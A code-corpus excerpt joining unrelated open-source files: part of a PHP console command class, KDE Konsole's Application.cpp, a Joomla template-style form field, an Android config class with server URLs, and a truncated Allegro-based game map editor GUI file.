$list = rpFileSystem::listFiles(ROBOT."jobs","php");
foreach($list as $item) {
$prop = new rpPropertiesFile($item, false, true);
if (!isset($prop->name)) $prop->name = "";
echo " JOB | ".substr(str_replace(".php","",$item), strlen(ROBOT."job/")+1)." - {$prop->name} \n";
}
echo str_repeat("-",60)."\n";
break;
case "class":
$classes = rpClassToolkit::getAllClasses();
ksort($classes);
foreach($classes as $class => $prop){
echo str_repeat (" ",20 - strlen($class))."$class |".$prop['path']."\n";
}
break;
case "events":
break;
default:
$list = rpFileSystem::listFiles(PACKAGES, $args[1]);
if (count($list) > 0){
echo str_repeat("-",60)."\n";
$i =0;
foreach($list as $item) {
$i++;
$size = 0;
if (!is_dir($item)) $size = filesize($item)/1024;
$int = intval($size); if ($int == 0) $int = " ";
$size = str_repeat(" ", 10 - strlen("$int")).number_format($size, 3)." KB";
echo $size." | ".substr($item,strlen(PACKAGES))."\n";
if ($i % 20 == 0){
$s = self::input("Press ENTER to continue...");
}
}
echo str_repeat("-",60)."\n";
}
break;
}
}
}
static function cmd_robot($args){
if (isset($args[1])){
switch($args[1]){
// Adding a job
case "addjob":
if (isset($args[2])){
$id = $args[2];
$exists = false;
$dir = scandir(ROBOT."jobs");
if (file_exists(ROBOT."jobs/$id.php")) $exists = true;
foreach($dir as $entry){
if (strtolower($entry) == strtolower("$id.php")){
$exists = true;
break;
}
}
if ($exists == true){
echo "The job $id was exists!\n";
} else {
echo "\n Type this optional job information:\n\n";
$description = self::input("Description: ");
$author = self::input("Author: ");
$email = self::input("Email: ");
$web = self::input("Web: ");
if (substr($web,0,7)=="http://") $web = substr($web,7);
$tpl = new div("ramifip/modules/rpCore/templates/job.tpl", array(
"id" => $id,
"description" => $description,
"author" => $author,
"email" => $email,
"web" => $web
));
file_put_contents(ROBOT."jobs/$id.php", "$tpl");
echo "\n\nThe skeleton of job $id was created. \nNow you can program in robot/jobs/$id.php\n\n";
}
} else {
echo "Please, specify the job's ID\n";
}
break;
// list jobs
case "jobs":
self::cmd_list(array("","jobs"));
break;
}
} else {
include ROBOT."robot.php";
}
}
}
// End of file | gpl-2.0 |
ultragdb/konsole | src/Application.cpp | 14423 | /*
Copyright 2006-2008 by Robert Knight <[email protected]>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
02110-1301 USA.
*/
// Own
#include "Application.h"
// Qt
#include <QtCore/QHashIterator>
#include <QtCore/QFileInfo>
#include <QtCore/QDir>
// KDE
#include <KAction>
#include <KActionCollection>
#include <KCmdLineArgs>
#include <KDebug>
// Konsole
#include "SessionManager.h"
#include "ProfileManager.h"
#include "MainWindow.h"
#include "Session.h"
using namespace Konsole;
extern bool is_use_openpty;
Application::Application() : KUniqueApplication()
{
init();
}
void Application::init()
{
_backgroundInstance = 0;
#if defined(Q_WS_MAC)
// this ensures that Ctrl and Meta are not swapped, so CTRL-C and friends
// will work correctly in the terminal
setAttribute(Qt::AA_MacDontSwapCtrlAndMeta);
// KDE's menuBar()->isTopLevel() hasn't worked in a while.
// For now, put menus inside Konsole window; this also make
// the keyboard shortcut to show menus look reasonable.
setAttribute(Qt::AA_DontUseNativeMenuBar);
#endif
}
Application::~Application()
{
SessionManager::instance()->closeAllSessions();
ProfileManager::instance()->saveSettings();
}
MainWindow* Application::newMainWindow()
{
MainWindow* window = new MainWindow();
connect(window, SIGNAL(newWindowRequest(Profile::Ptr,QString)),
this, SLOT(createWindow(Profile::Ptr,QString)));
connect(window, SIGNAL(viewDetached(Session*)),
this, SLOT(detachView(Session*)));
return window;
}
void Application::createWindow(Profile::Ptr profile, const QString& directory)
{
MainWindow* window = newMainWindow();
window->createSession(profile, directory);
window->show();
}
void Application::detachView(Session* session)
{
MainWindow* window = newMainWindow();
window->createView(session);
window->show();
}
int Application::newInstance()
{
static bool firstInstance = true;
KCmdLineArgs* args = KCmdLineArgs::parsedArgs();
// handle session management
if ((args->count() != 0) || !firstInstance || !isSessionRestored()) {
// check for arguments to print help or other information to the
// terminal, quit if such an argument was found
if (processHelpArgs(args))
return 0;
bool openpty = is_use_openpty;
// create a new window or use an existing one
MainWindow* window = processWindowArgs(args);
if (args->isSet("tabs-from-file")) {
// create new session(s) as described in file
processTabsFromFileArgs(args, window);
} else {
// select profile to use
Profile::Ptr baseProfile = processProfileSelectArgs(args);
// process various command-line options which cause a property of the
// selected profile to be changed
Profile::Ptr newProfile = processProfileChangeArgs(args, baseProfile);
// create new session
Session* session = window->createSession(newProfile, QString(), openpty);
if (!args->isSet("close")) {
session->setAutoClose(false);
}
}
// if the background-mode argument is supplied, start the background
// session ( or bring to the front if it already exists )
if (args->isSet("background-mode")) {
startBackgroundMode(window);
} else {
// Qt constrains top-level windows which have not been manually
// resized (via QWidget::resize()) to a maximum of 2/3rds of the
// screen size.
//
// This means that the terminal display might not get the width/
// height it asks for. To work around this, the widget must be
// manually resized to its sizeHint().
//
// This problem only affects the first time the application is run.
// run. After that KMainWindow will have manually resized the
// window to its saved size at this point (so the Qt::WA_Resized
// attribute will be set)
if (!window->testAttribute(Qt::WA_Resized))
window->resize(window->sizeHint());
window->show();
}
}
firstInstance = false;
args->clear();
return 0;
}
/* Documentation for tab file:
*
* ;; is the token separator
* # at the beginning of line results in line being ignored.
* supported stokens are title, command and profile.
*
* Note that the title is static and the tab will close when the
* command is complete (do not use --noclose). You can start new tabs.
*
* Examples:
title: This is the title;; command: ssh jupiter
title: Top this!;; command: top
#this line is comment
command: ssh earth
profile: Zsh
*/
void Application::processTabsFromFileArgs(KCmdLineArgs* args,
MainWindow* window)
{
// Open tab configuration file
const QString tabsFileName(args->getOption("tabs-from-file"));
QFile tabsFile(tabsFileName);
if (!tabsFile.open(QFile::ReadOnly)) {
kWarning() << "ERROR: Cannot open tabs file "
<< tabsFileName.toLocal8Bit().data();
quit();
}
unsigned int sessions = 0;
while (!tabsFile.atEnd()) {
QString lineString(tabsFile.readLine().trimmed());
if ((lineString.isEmpty()) || (lineString[0] == '#'))
continue;
QHash<QString, QString> lineTokens;
QStringList lineParts = lineString.split(";;", QString::SkipEmptyParts);
for (int i = 0; i < lineParts.size(); ++i) {
QString key = lineParts.at(i).section(':', 0, 0).trimmed().toLower();
QString value = lineParts.at(i).section(':', 1, -1).trimmed();
lineTokens[key] = value;
}
// should contain at least one of 'command' and 'profile'
if (lineTokens.contains("command") || lineTokens.contains("profile")) {
createTabFromArgs(args, window, lineTokens);
sessions++;
} else {
kWarning() << "Each line should contain at least one of 'commad' and 'profile'.";
}
}
tabsFile.close();
if (sessions < 1) {
kWarning() << "No valid lines found in "
<< tabsFileName.toLocal8Bit().data();
quit();
}
}
void Application::createTabFromArgs(KCmdLineArgs* args, MainWindow* window,
const QHash<QString, QString>& tokens)
{
const QString& title = tokens["title"];
const QString& command = tokens["command"];
const QString& profile = tokens["profile"];
const QString& workdir = tokens["workdir"];
Profile::Ptr baseProfile;
if (!profile.isEmpty()) {
baseProfile = ProfileManager::instance()->loadProfile(profile);
}
if (!baseProfile) {
// fallback to default profile
baseProfile = ProfileManager::instance()->defaultProfile();
}
Profile::Ptr newProfile = Profile::Ptr(new Profile(baseProfile));
newProfile->setHidden(true);
// FIXME: the method of determining whethter to use newProfile does not
// scale well when we support more fields in the future
bool shouldUseNewProfile = false;
if (!command.isEmpty()) {
newProfile->setProperty(Profile::Command, command);
newProfile->setProperty(Profile::Arguments, command.split(' '));
shouldUseNewProfile = true;
}
if (!title.isEmpty()) {
newProfile->setProperty(Profile::LocalTabTitleFormat, title);
newProfile->setProperty(Profile::RemoteTabTitleFormat, title);
shouldUseNewProfile = true;
}
if (args->isSet("workdir")) {
newProfile->setProperty(Profile::Directory, args->getOption("workdir"));
shouldUseNewProfile = true;
}
if (!workdir.isEmpty()) {
newProfile->setProperty(Profile::Directory, workdir);
shouldUseNewProfile = true;
}
// Create the new session
Profile::Ptr theProfile = shouldUseNewProfile ? newProfile : baseProfile;
Session* session = window->createSession(theProfile, QString());
if (!args->isSet("close")) {
session->setAutoClose(false);
}
if (!window->testAttribute(Qt::WA_Resized)) {
window->resize(window->sizeHint());
}
// FIXME: this ugly hack here is to make the session start running, so that
// its tab title is displayed as expected.
//
// This is another side effect of the commit fixing BKO 176902.
window->show();
window->hide();
}
MainWindow* Application::processWindowArgs(KCmdLineArgs* args)
{
MainWindow* window = 0;
if (args->isSet("new-tab")) {
QListIterator<QWidget*> iter(topLevelWidgets());
iter.toBack();
while (iter.hasPrevious()) {
window = qobject_cast<MainWindow*>(iter.previous());
if (window != 0)
break;
}
}
if (window == 0) {
window = newMainWindow();
// override default menubar visibility
if (args->isSet("show-menubar")) {
window->setMenuBarInitialVisibility(true);
}
if (args->isSet("hide-menubar")) {
window->setMenuBarInitialVisibility(false);
}
// override default tabbbar visibility
// FIXME: remove those magic number
// see ViewContainer::NavigationVisibility
if (args->isSet("show-tabbar")) {
// always show
window->setNavigationVisibility(0);
}
if (args->isSet("hide-tabbar")) {
// never show
window->setNavigationVisibility(2);
}
}
return window;
}
Profile::Ptr Application::processProfileSelectArgs(KCmdLineArgs* args)
{
Profile::Ptr defaultProfile = ProfileManager::instance()->defaultProfile();
if (args->isSet("profile")) {
Profile::Ptr profile = ProfileManager::instance()->loadProfile(
args->getOption("profile"));
if (profile)
return profile;
}
return defaultProfile;
}
bool Application::processHelpArgs(KCmdLineArgs* args)
{
if (args->isSet("list-profiles")) {
listAvailableProfiles();
return true;
} else if (args->isSet("list-profile-properties")) {
listProfilePropertyInfo();
return true;
}
return false;
}
void Application::listAvailableProfiles()
{
QStringList paths = ProfileManager::instance()->availableProfilePaths();
foreach(const QString& path, paths) {
QFileInfo info(path);
printf("%s\n", info.completeBaseName().toLocal8Bit().constData());
}
quit();
}
void Application::listProfilePropertyInfo()
{
Profile::Ptr tempProfile = ProfileManager::instance()->defaultProfile();
const QStringList names = tempProfile->propertiesInfoList();
foreach(const QString& name, names) {
printf("%s\n", name.toLocal8Bit().constData());
}
quit();
}
Profile::Ptr Application::processProfileChangeArgs(KCmdLineArgs* args, Profile::Ptr baseProfile)
{
bool shouldUseNewProfile = false;
Profile::Ptr newProfile = Profile::Ptr(new Profile(baseProfile));
newProfile->setHidden(true);
// change the initial working directory
if (args->isSet("workdir")) {
newProfile->setProperty(Profile::Directory, args->getOption("workdir"));
shouldUseNewProfile = true;
}
// temporary changes to profile options specified on the command line
foreach(const QString & value , args->getOptionList("p")) {
ProfileCommandParser parser;
QHashIterator<Profile::Property, QVariant> iter(parser.parse(value));
while (iter.hasNext()) {
iter.next();
newProfile->setProperty(iter.key(), iter.value());
}
shouldUseNewProfile = true;
}
// run a custom command
if (args->isSet("e")) {
QString commandExec = args->getOption("e");
QStringList commandArguments;
//commandArguments << args->getOption("e");
commandArguments << commandExec;
// Note: KCmdLineArgs::count() return the number of arguments
// that aren't options.
for ( int i = 0 ; i < args->count() ; i++ )
commandArguments << args->arg(i);
if (commandExec.startsWith(QLatin1String("./")))
commandExec = QDir::currentPath() + commandExec.mid(1);
newProfile->setProperty(Profile::Command, commandExec);
newProfile->setProperty(Profile::Arguments, commandArguments);
shouldUseNewProfile = true;
}
if (shouldUseNewProfile) {
return newProfile;
} else {
return baseProfile;
}
}
void Application::startBackgroundMode(MainWindow* window)
{
if (_backgroundInstance) {
return;
}
KAction* action = window->actionCollection()->addAction("toggle-background-window");
action->setObjectName(QLatin1String("Konsole Background Mode"));
action->setText(i18n("Toggle Background Window"));
action->setGlobalShortcut(KShortcut(QKeySequence(Qt::CTRL + Qt::SHIFT + Qt::Key_F12)));
connect(action, SIGNAL(triggered()),
this, SLOT(toggleBackgroundInstance()));
_backgroundInstance = window;
}
void Application::toggleBackgroundInstance()
{
Q_ASSERT(_backgroundInstance);
if (!_backgroundInstance->isVisible()) {
_backgroundInstance->show();
// ensure that the active terminal display has the focus. Without
// this, an odd problem occurred where the focus widget would change
// each time the background instance was shown
_backgroundInstance->setFocus();
} else {
_backgroundInstance->hide();
}
}
#include "Application.moc"
| gpl-2.0 |
andergmartins/t3v3 | libraries/cms/form/field/templatestyle.php | 3065 | <?php
/**
* @package Joomla.Libraries
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('groupedlist');
/**
* Form Field class for the Joomla CMS.
* Supports a select grouped list of template styles
*
* @package Joomla.Libraries
* @subpackage Form
* @since 1.6
*/
class JFormFieldTemplatestyle extends JFormFieldGroupedList
{
/**
* The form field type.
*
* @var string
* @since 1.6
*/
public $type = 'TemplateStyle';
/**
* Method to get the list of template style options
* grouped by template.
* Use the client attribute to specify a specific client.
* Use the template attribute to specify a specific template
*
* @return array The field option objects as a nested array in groups.
*
* @since 1.6
*/
protected function getGroups()
{
$groups = array();
$lang = JFactory::getLanguage();
// Get the client and client_id.
$clientName = $this->element['client'] ? (string) $this->element['client'] : 'site';
$client = JApplicationHelper::getClientInfo($clientName, true);
// Get the template.
$template = (string) $this->element['template'];
// Get the database object and a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Build the query.
$query->select('s.id, s.title, e.name as name, s.template');
$query->from('#__template_styles as s');
$query->where('s.client_id = ' . (int) $client->id);
$query->order('template');
$query->order('title');
if ($template)
{
$query->where('s.template = ' . $db->quote($template));
}
$query->join('LEFT', '#__extensions as e on e.element=s.template');
$query->where('e.enabled=1');
$query->where($db->quoteName('e.type') . '=' . $db->quote('template'));
// Set the query and load the styles.
$db->setQuery($query);
$styles = $db->loadObjectList();
// Build the grouped list array.
if ($styles)
{
foreach ($styles as $style)
{
$template = $style->template;
$lang->load('tpl_' . $template . '.sys', $client->path, null, false, false)
|| $lang->load('tpl_' . $template . '.sys', $client->path . '/templates/' . $template, null, false, false)
|| $lang->load('tpl_' . $template . '.sys', $client->path, $lang->getDefault(), false, false)
|| $lang->load('tpl_' . $template . '.sys', $client->path . '/templates/' . $template, $lang->getDefault(), false, false);
$name = JText::_($style->name);
// Initialize the group if necessary.
if (!isset($groups[$name]))
{
$groups[$name] = array();
}
$groups[$name][] = JHtml::_('select.option', $style->id, $style->title);
}
}
// Merge any additional groups in the XML definition.
$groups = array_merge(parent::getGroups(), $groups);
return $groups;
}
}
| gpl-2.0 |
arlakay/Cari-Makan | app/src/main/java/com/carimakan/util/Config.java | 577 | package com.carimakan.util;
public class Config {
// File upload url (replace the ip with your server address)
public static final String FILE_UPLOAD_URL = "http://carimakan.icon.my.id/fileUpload.php";
// Directory name to store captured images and videos
public static final String IMAGE_DIRECTORY_NAME = "Android File Upload";
// Server user login url
public static String URL_LOGIN = "http://icon.my.id/carimakan/android_login_api/";
// Server user register url
public static String URL_REGISTER = "http://icon.my.id/carimakan/android_login_api/";
}
| gpl-2.0 |
moonlight/cave-adventure | src/editor/gui_procs.cpp | 34616 | /*
The Moonlight Engine - An extendable, portable, RPG-focused game engine.
Project Home: http://moeng.sourceforge.net/
Copyright (C) 2003 Bjørn Lindeijer
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
*/
#include <allegro.h>
#include "agup.h"
#include "aphoton.h"
#include "gui_procs.h"
#include "editor.h"
#include "../shared/tiled_map.h"
#include "script.h"
#include "../shared/engine.h"
#include "../shared/object.h"
#include "../common.h"
float brightness = 0.7;
int d_new_bjorn_scroll_proc(int msg, DIALOG *d, int c)
{
DIALOG* sd = (DIALOG*)d->dp;
int sdw, sdh, offset_x, offset_y, vsb, hsb;
if (sd) {
sdw = sd->d1; // Scrolling dialog wanted width
sdh = sd->d2; // Scrolling dialog wanted height
offset_x = d->d1; // Horizontal scrolling offset
offset_y = d->d2; // Vertical scrolling offset
}
else {
sdw = 0;
sdh = 0;
offset_x = 0;
offset_y = 0;
}
vsb = d->h - 4; // Vertical scrollbar length
hsb = d->w - 4; // Horizontal scrollbar length
switch (msg)
{
case MSG_DRAW:
// Draw the border
d_agup_box_proc(MSG_DRAW, d, 0);
// Draw horizontal scrollbar
//photon_scrollbar(buffer, d->x + 2, d->y + 2, d->w - 4, d->h - 4, 0, offset_x, len);
// Draw vertical scrollbar
//photon_scrollbar(buffer, d->x + 2, d->y + 2, d->w - 4, d->h - 4, 1, offset_y, len);
}
return D_O_K;
}
int d_bjorn_scroll_proc(int msg, DIALOG *d, int c)
{
int size = d->d1;
int offset = d->d2;
int height = ((d->flags & SCROLL_VER) ? d->h - 4 : d->w - 4);
int pos, len, ds;
if (d->dp) ds = (d->flags & SCROLL_VER) ? ((DIALOG*)d->dp)->h : ((DIALOG*)d->dp)->w;
else ds = 0;
if (d->dp && offset > 0 && size > 0 && size > ds) {
pos = (offset * height + size / 2) / size;
} else {
pos = 0;
}
if (d->dp && size > 0 && size > ds) {
len = (ds * height + size / 2) / size;
} else {
len = height;
}
switch (msg)
{
case MSG_DRAW:
if (pos + len > height) pos = height - len;
rect (buffer, d->x + 1, d->y + 1, d->x + d->w - 2, d->y + d->h - 2, container_black);
rectfill(buffer, d->x + 2, d->y + 2, d->x + d->w - 3, d->y + d->h - 3, scrollbar_gray1);
photon_scrollbar(buffer, d->x + 2, d->y + 2, d->w - 4, d->h - 4, d->flags & SCROLL_VER, pos, len);
if (d->flags & SCROLL_VER) {
update_screen(d->x + 1, d->y + 1, d->w - 2, d->h - 2);
} else {
update_screen(d->x + 1, d->y + 1, d->w - 2, d->h - 2);
}
break;
case MSG_CLICK:
while (gui_mouse_b() && d->dp)
{
if (d->flags & SCROLL_VER)
{
if ((gui_mouse_y() >= d->y + pos) && (gui_mouse_y() <= d->y + pos + len))
{
int mouse_offset = gui_mouse_y() - pos;
while (gui_mouse_b())
{
int new_offset = ((gui_mouse_y() - mouse_offset) * size) / height;
if (new_offset > size - ds) new_offset = size - ds;
if (new_offset < 0) new_offset = 0;
if (new_offset != d->d2) {
d->d2 = new_offset;
scare_mouse();
object_message(d, MSG_DRAW, 0);
if (d->dp) object_message((DIALOG*)d->dp, MSG_DRAW, 0);
unscare_mouse();
}
/* let other objects continue to animate */
broadcast_dialog_message(MSG_IDLE, 0);
}
}
else
{
// Jump offset half a page
}
/* let other objects continue to animate */
broadcast_dialog_message(MSG_IDLE, 0);
}
else
{
if ((gui_mouse_x() >= d->x + pos) && (gui_mouse_x() <= d->x + pos + len))
{
int mouse_offset = gui_mouse_x() - pos;
while (gui_mouse_b())
{
int new_offset = ((gui_mouse_x() - mouse_offset) * size) / height;
if (new_offset > size - ds) new_offset = size - ds;
if (new_offset < 0) new_offset = 0;
if (new_offset != d->d2) {
d->d2 = new_offset;
scare_mouse();
object_message(d, MSG_DRAW, 0);
if (d->dp) object_message((DIALOG*)d->dp, MSG_DRAW, 0);
unscare_mouse();
}
/* let other objects continue to animate */
broadcast_dialog_message(MSG_IDLE, 0);
}
}
else
{
// Jump offset half a page
}
/* let other objects continue to animate */
broadcast_dialog_message(MSG_IDLE, 0);
}
}
break;
}
return D_O_K;
}
int d_bjorn_camera_knop(int msg, DIALOG *d, int c)
{
switch (msg)
{
case MSG_CLICK:
{
int prev_mouse_x = gui_mouse_x();
int prev_mouse_y = gui_mouse_y();
int mickey_x, mickey_y;
int dw = D_MAP.w;
int dh = D_MAP.h;
int hs = D_SCROLL_HOR.d1;
int vs = D_SCROLL_VER.d1;
int new_offset_x, new_offset_y;
get_mouse_mickeys(&mickey_x, &mickey_y);
show_mouse(NULL);
d->flags |= D_SELECTED;
object_message(d, MSG_DRAW, 0);
while (gui_mouse_b())
{
get_mouse_mickeys(&mickey_x, &mickey_y);
new_offset_x = D_SCROLL_HOR.d2 + mickey_x;
new_offset_y = D_SCROLL_VER.d2 + mickey_y;
if (new_offset_x > hs - dw) new_offset_x = hs - dw;
if (new_offset_y > vs - dh) new_offset_y = vs - dh;
if (new_offset_x < 0) new_offset_x = 0;
if (new_offset_y < 0) new_offset_y = 0;
if (new_offset_x != D_SCROLL_HOR.d2 || new_offset_y != D_SCROLL_VER.d2)
{
if (new_offset_x != D_SCROLL_HOR.d2) {
D_SCROLL_HOR.d2 = new_offset_x;
object_message(&D_SCROLL_HOR, MSG_DRAW, 0);
}
if (new_offset_y != D_SCROLL_VER.d2) {
D_SCROLL_VER.d2 = new_offset_y;
object_message(&D_SCROLL_VER, MSG_DRAW, 0);
}
object_message(&D_MAP, MSG_DRAW, 0);
}
broadcast_dialog_message(MSG_IDLE, 0);
}
d->flags &= ~D_SELECTED;
object_message(d, MSG_DRAW, 0);
position_mouse(prev_mouse_x, prev_mouse_y);
show_mouse(screen);
}
break;
default:
return d_agup_button_proc(msg, d, c);
break;
}
return D_O_K;
}
int d_bjorn_map_proc(int msg, DIALOG *d, int c)
{
Point map_size = currentMap->getMapSize();
Point map_dim = Point(currentMap->getWidth(), currentMap->getHeight());
switch (msg)
{
case MSG_START:
D_SCROLL_VER.dp = &D_MAP;
D_SCROLL_HOR.dp = &D_MAP;
// fallthrough...
case MSG_NEW_MAP:
D_SCROLL_VER.d1 = map_size.y;
D_SCROLL_HOR.d1 = map_size.x;
D_SCROLL_VER.d2 = 0;
D_SCROLL_HOR.d2 = 0;
D_SCROLL_VER.flags |= D_DIRTY;
D_SCROLL_HOR.flags |= D_DIRTY;
d->flags |= D_DIRTY;
uszprintf(status_mapinfo, 1024, "Map dimensions: %dx%d", map_dim.x, map_dim.y);
break;
case MSG_DRAW:
rectfill(
buffer,
d->x, d->y, d->x + d->w - 1, d->y + d->h - 1,
makecol(int(128 * brightness),int(128 * brightness),int(128 * brightness))
);
currentMap->setCamera(Point(D_SCROLL_HOR.d2, D_SCROLL_VER.d2), Rectangle(d->x, d->y, d->w, d->h));
currentMap->drawLayer(buffer, (map_edit_mode == EM_OBSTACLE), currentMap->mapLayers[0]);
{
list<Object*>::iterator i;
// Iterate through all objects, calling the preRender function
for (i = currentMap->objects.begin(); i != currentMap->objects.end(); i++) {
callMemberFunction((*i)->tableRef, "preRender");
(*i)->update_entity();
}
}
currentMap->drawEntities(buffer);
if (selectedLayer == 1) {
set_trans_blender(0,0,0,128);
drawing_mode(DRAW_MODE_TRANS, NULL, 0, 0);
rectfill(buffer, d->x, d->y, d->x + d->w - 1, d->y + d->h - 1, makecol(0,0,128));
drawing_mode(DRAW_MODE_SOLID, NULL, 0, 0);
}
currentMap->drawLayer(
buffer,
(map_edit_mode == EM_OBSTACLE),
currentMap->mapLayers[1],
(selectedLayer == 0) ? 128 : 255
);
if (selecting) {
Point start = currentMap->mapToScreen(Point(selection_start_x, selection_start_y));
Point end = currentMap->mapToScreen(Point(selection_end_x, selection_end_y));
rect(buffer, start.x+1, start.y+1, end.x+1, end.y+1, makecol(0,0,0));
rect(buffer, start.x, start.y, end.x, end.y, makecol(100,200,200));
}
if (debug_mode) {
textprintf(buffer, font, d->x+10, d->y+30, makecol(255,255,255), "%d selected entities", selectedObjects.size());
}
update_screen(d->x, d->y, d->w, d->h);
break;
case MSG_WANTFOCUS:
return D_WANTFOCUS;
case MSG_CHAR:
{
int key = c >> 8;
if (key == KEY_LEFT || key == KEY_RIGHT || key == KEY_UP || key == KEY_DOWN) {return D_USED_CHAR;}
if (key == KEY_F5) {return D_REDRAW;}
// Map floodfill
if (key == KEY_F && d->flags & D_GOTMOUSE)
{
Point hoverTile = currentMap->screenToTile(Point(gui_mouse_x(), gui_mouse_y()));
Tile* cursorTile = currentMap->getLayer(selectedLayer)->getTile(hoverTile);
// Create bitmap the size of the map
BITMAP* temp_bitmap = create_bitmap(currentMap->getWidth(), currentMap->getHeight());
if (currentMap->getWidth() > 0 && currentMap->getHeight() > 0 &&
temp_bitmap && cursorTile && cursorTile->getType() != selectedTile)
{
TileType* tileType = cursorTile->getType();
int x, y;
// Paint current map to temporary bitmap
for (x = 0; x < temp_bitmap->w; x++) {
for (y = 0; y < temp_bitmap->h; y++) {
if ((currentMap->getLayer(selectedLayer)->getTile(Point(x, y)))->getType() == tileType) {
putpixel(temp_bitmap, x, y, makecol(255,0,0));
} else {
putpixel(temp_bitmap, x, y, makecol(0,255,0));
}
}
}
// Use floodfill on the bitmap
floodfill(temp_bitmap, hoverTile.x, hoverTile.y, makecol(0,0,255));
// Set all effected coordinates to the selected tile
for (x = 0; x < temp_bitmap->w; x++) {
for (y = 0; y < temp_bitmap->h; y++) {
if (getpixel(temp_bitmap, x, y) == makecol(0,0,255)) {
(currentMap->getLayer(selectedLayer)->getTile(Point(x, y)))->setType(selectedTile);
}
}
}
set_map_changed(true);
d->flags |= D_DIRTY;
}
if (temp_bitmap) destroy_bitmap(temp_bitmap);
return D_USED_CHAR;
}
if (key == KEY_DEL) {
// Delete selected objects
delete_objects(selectedObjects);
d->flags |= D_DIRTY;
return D_USED_CHAR;
}
return D_O_K;
}
break;
case MSG_IDLE:
if (d->flags & D_GOTMOUSE) {
Point hoverTile = currentMap->screenToTile(Point(gui_mouse_x(), gui_mouse_y() + TILES_H));
//Point new_hover = currentMap->tileToMap(hoverTile);
//Tile* cursorTile = currentMap->getLayer(0)->getTile(hoverTile);
// Do something with the following
//d->flags |= D_DIRTY;
if (hoverTile.x >= 0 && hoverTile.y >= 0) {
/*
if (cursorTile && cursorTile->getType()) {
uszprintf(status_message, 1024, "Position: (%d, %d) Tile: \"%s\"", hoverTile.x, hoverTile.y, cursorTile->getType()->getName());
} else {
}
*/
uszprintf(status_message, 1024, "Position: (%d, %d)", hoverTile.x, hoverTile.y);
}
}
if (d->flags & D_GOTFOCUS) {
int prev_scroll_x = D_SCROLL_HOR.d2;
int prev_scroll_y = D_SCROLL_VER.d2;
if (key[KEY_LEFT]) D_SCROLL_HOR.d2 = MAX(0, D_SCROLL_HOR.d2 - 24);
if (key[KEY_RIGHT]) D_SCROLL_HOR.d2 = MIN(map_size.x - d->w, D_SCROLL_HOR.d2 + 24);
if (key[KEY_UP]) D_SCROLL_VER.d2 = MAX(0, D_SCROLL_VER.d2 - 24);
if (key[KEY_DOWN]) D_SCROLL_VER.d2 = MIN(map_size.y - d->h, D_SCROLL_VER.d2 + 24);
if (prev_scroll_x != D_SCROLL_HOR.d2 || prev_scroll_y != D_SCROLL_VER.d2) {
D_SCROLL_VER.flags |= D_DIRTY;
D_SCROLL_HOR.flags |= D_DIRTY;
d->flags |= D_DIRTY;
}
}
break;
case MSG_LOSTMOUSE:
status_message[0] = '\0';
break;
case MSG_CLICK:
if (gui_mouse_b() & 1) {
// Response to left mouse button
if (map_edit_mode == EM_TILE)
{
// In tile edit mode: paint tile
while (gui_mouse_b() & 1) {
Tile* cursorTile = currentMap->getLayer(selectedLayer)->getTile(currentMap->screenToTile(Point(gui_mouse_x(), gui_mouse_y())));
if (cursorTile && selectedTile != cursorTile->getType())
{
set_map_changed(true);
cursorTile->setType(selectedTile);
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
broadcast_dialog_message(MSG_IDLE, 0);
}
}
else if (map_edit_mode == EM_OBSTACLE)
{
// In obstacle edit mode
while (gui_mouse_b() & 1) {
Tile* cursorTile = currentMap->getLayer(0)->getTile(currentMap->screenToTile(Point(gui_mouse_x(), gui_mouse_y())));
if (cursorTile && selectedObstacle != cursorTile->obstacle)
{
set_map_changed(true);
cursorTile->obstacle |= selectedObstacle;
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
broadcast_dialog_message(MSG_IDLE, 0);
}
}
else if (map_edit_mode == EM_OBJECTS && selectedObjectType >= 0)
{
// Spawn object
int objectInstance = 0;
char* typeName = objectTypes[selectedObjectType];
lua_pushstring(L, typeName);
lua_gettable(L, LUA_GLOBALSINDEX);
if (!lua_isnil(L, -1)) {
lua_call(L, putLuaArguments(L, "m", currentMap), 1);
if (lua_istable(L, -1)) {
objectInstance = lua_ref(L, -1);
}
else {
console.log(CON_QUIT, CON_ALWAYS, "Error while instaniating object \"%s\"", typeName);
}
}
else {
console.log(CON_QUIT, CON_ALWAYS, "Error: could not find object class \"%s\"", typeName);
}
lua_getref(L, objectInstance);
lua_pushstring(L, "_pointer");
lua_gettable(L, -2);
Object* obj = (Object*)lua_touserdata(L, -1);
obj->className = typeName; // Assign class name (not the best place for this)
lua_pop(L, 1);
select_object(obj);
double px = 0, py = 0;
while (gui_mouse_b() & 1) {
Point pos = currentMap->screenToMap(Point(gui_mouse_x(), gui_mouse_y()));
double npx = (snapToGrid) ? pos.x / TILES_W : (float)pos.x / TILES_W;
double npy = (snapToGrid) ? pos.y / TILES_H : (float)pos.y / TILES_H;
if (px != npx || py != npy) {
px = npx;
py = npy;
// Drag object (synchronize position with mouse pointer)
callMemberFunction(objectInstance, "setPosition", "dd", px, py);
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
if (gui_mouse_b() & 2) {
// Remove the object
callMemberFunction(objectInstance, "destroy", "");
selectedObjects.remove(obj);
delete obj;
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
while (gui_mouse_b() & (1 || 2)) {
broadcast_dialog_message(MSG_IDLE, 0);
}
return D_O_K;
}
broadcast_dialog_message(MSG_IDLE, 0);
}
set_map_changed(true);
lua_unref(L, objectInstance);
}
}
else if (gui_mouse_b() & 2) {
// Response to right mouse button
if (map_edit_mode == EM_TILE)
{
// In tile edit mode: grap tile
while (gui_mouse_b() & 2) {
